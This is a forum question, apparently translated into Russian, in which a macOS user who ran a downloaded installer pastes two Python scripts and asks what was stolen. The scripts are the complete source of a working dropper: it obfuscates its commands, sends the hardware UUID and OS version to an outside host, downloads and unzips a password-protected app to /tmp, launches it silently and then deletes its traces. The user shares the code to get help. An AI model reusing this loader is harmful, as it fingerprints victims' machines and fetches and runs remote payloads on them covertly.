Зараженный файл загружен по ошибке на macOS

Question

Я скачал файл, открывающий терминал и запускающий скрипт. Я добавляю сюда 2 сценария. Мне действительно нужно знать, что было украдено, и нужно ли мне что-либо удалить для исправления ошибок.

Файл №1 с именем lszaj.sake6Sjj74

    `#!/usr/bin/env python
import time

def encryptText(plainText, key):
    encryptedText = ""
    for i in plainText:
        encryptedText += chr((ord(i) + key) % 254)
    return encryptedText

def decryptText(encryptedText, key):
    plainText = ""
    for i in encryptedText:
        plainText += chr((ord(i) - key) % 254)
    return plainText

def encryptList(plainList, key):
    encryptedList = []
    for part in plainList:
        encryptedPart = encryptText(part, key)
        encryptedList.append(encryptedPart)
    return encryptedList

def decryptList(encryptedList, key):
    decryptedList = []
    for part in encryptedList:
        decryptedPart = decryptText(part, key)
        decryptedList.append(decryptedPart)
    return decryptedList

def getKey():
    return int((time.time() * 10) % 100)`

Файл №2 с именем O63WjA67r317BUfhtw. Этот файл был вызван установочным файлом

    `#!/usr/bin/env python

import uuid
import subprocess
import os
import sys
import platform
import shutil
import imp
import objc
import urllib


from Foundation import NSBundle

edt = imp.load_source('edt', os.path.dirname(os.path.realpath(__file__)) + '/lszaj.sake6Sjj74')

IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')

functions = [("IOServiceGetMatchingService", b"II@"),
             ("IOServiceMatching", b"@*"),
             ("IORegistryEntryCreateCFProperty", b"@I@@I"),
            ]

objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
def io_key(keyname):
    return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0, IOServiceMatching("IOPlatformExpertDevice")), keyname, None, 0)

def getHardwardUuid():
    return io_key("IOPlatformUUID")

def downloadFile(fileUrl, destination, key):    
    commands = ["curl", "-f0L", "-o"]
    encryptedCommands = edt.encryptList(commands, key)  
    encryptedCommands.extend([destination, fileUrl])
    quietShellCommand( encryptedCommands, key)

def unzip(zippedFile, password, key):       
    tempDir = edt.encryptText('/tmp', key)
    tempInstallerDir = edt.decryptText(tempDir + zippedFile, key)
    if os.path.exists(tempInstallerDir):
        shutil.rmtree(tempInstallerDir)
    os.makedirs(tempInstallerDir)
    commands = ['unzip', '-P']  
    encryptedCommands = edt.encryptList(commands, key)  
    encryptedCommands.extend([password, zippedFile])
    endCommands = [ edt.encryptText('-d', key), edt.encryptText(tempInstallerDir, key)]
    encryptedCommands.extend(endCommands)

    quietShellCommand(encryptedCommands, key)
    return edt.encryptText(tempInstallerDir + "/", key)

def findVolumePath(appName):
    dirs = os.listdir('/Volumes')
    for vol in dirs:
        testPath = "/Volumes/" + vol 
        if os.access(testPath + "/" + appName, os.F_OK):
            return testPath
    return ""

def moveIcon(destination, key):
    iconDir = os.path.dirname(os.path.realpath(__file__)) + "/"
    dirs = os.listdir(iconDir)
    sourceIcon = ""
    for file in dirs:
        if file.endswith(".icns"):
            sourceIcon = file
    iconPath = edt.encryptText(iconDir + sourceIcon, key)
    quietShellCommand([edt.encryptText('cp', key), iconPath, destination], key)

def quietShellCommand(commands, key):
    devNull = open("/dev/null","r")
    devNullID = devNull.fileno()
    decryptedCommands = edt.decryptList(commands, key)  
    subprocess.check_call(decryptedCommands, stdout=devNullID, stderr=devNullID)

def getAppName(directory, key):
    dirs = os.listdir(edt.decryptText(directory, key))
    for file in dirs:
        if file.endswith(".app"):
            return file


key = edt.getKey()
uuid = str(uuid.uuid4())
sessionID = edt.encryptText(uuid, key)
downloadDir = edt.encryptText('/tmp/', key) + sessionID
machineID = str(getHardwardUuid())
osVersion,_,_ = platform.mac_ver()
url = "http://api.launchlookup.com/dst/?ac=9928cbb8-f3aa-41df-880c-773ab30a5c89&u=%(machineID)s&s=%(uuid)s&o=%(osVersion)s&b=10161579874" % locals()
fileUrl = edt.encryptText(url, key)
password = edt.encryptText('478975161016580c281-99a4-4641-909e-8f2aa775d36610161579874', key)

downloadFile(fileUrl, downloadDir, key)

unzippedFileDir = unzip(downloadDir, password, key)
appName = edt.encryptText(getAppName(unzippedFileDir, key), key)

applicationPath = unzippedFileDir + appName
decryptedAppPath = edt.decryptText(applicationPath, key)
fullAppDir = decryptedAppPath + "/Contents/MacOS/"
installerAppName = os.listdir(fullAppDir)[0]
installerAppPath = edt.encryptText(fullAppDir + installerAppName, key)
commands = edt.encryptList(['chmod', '+x'], key)
commands.append(installerAppPath)
quietShellCommand(commands, key)

decryptedAppName = edt.decryptText(appName, key) 
destinationIconPath = unzippedFileDir + edt.encryptText(decryptedAppName + "/Contents/Resources/app.icns", key)
moveIcon(destinationIconPath, key)

if os.fork():
    sys.exit()
volumPath = findVolumePath(".hidden/app10161579874.icns")
commands = edt.encryptList(['open', '-W'],key)
commands.append(applicationPath)
commands.extend(edt.encryptList(['--args', '-ac' + '9928cbb8-f3aa-41df-880c-773ab30a5c89', 's'], key))
commands.append(sessionID)
commands.append(edt.encryptText(urllib.quote(volumPath), key))
quietShellCommand( commands, key)

os.remove(edt.decryptText(downloadDir, key))
shutil.rmtree(edt.decryptText(unzippedFileDir, key))`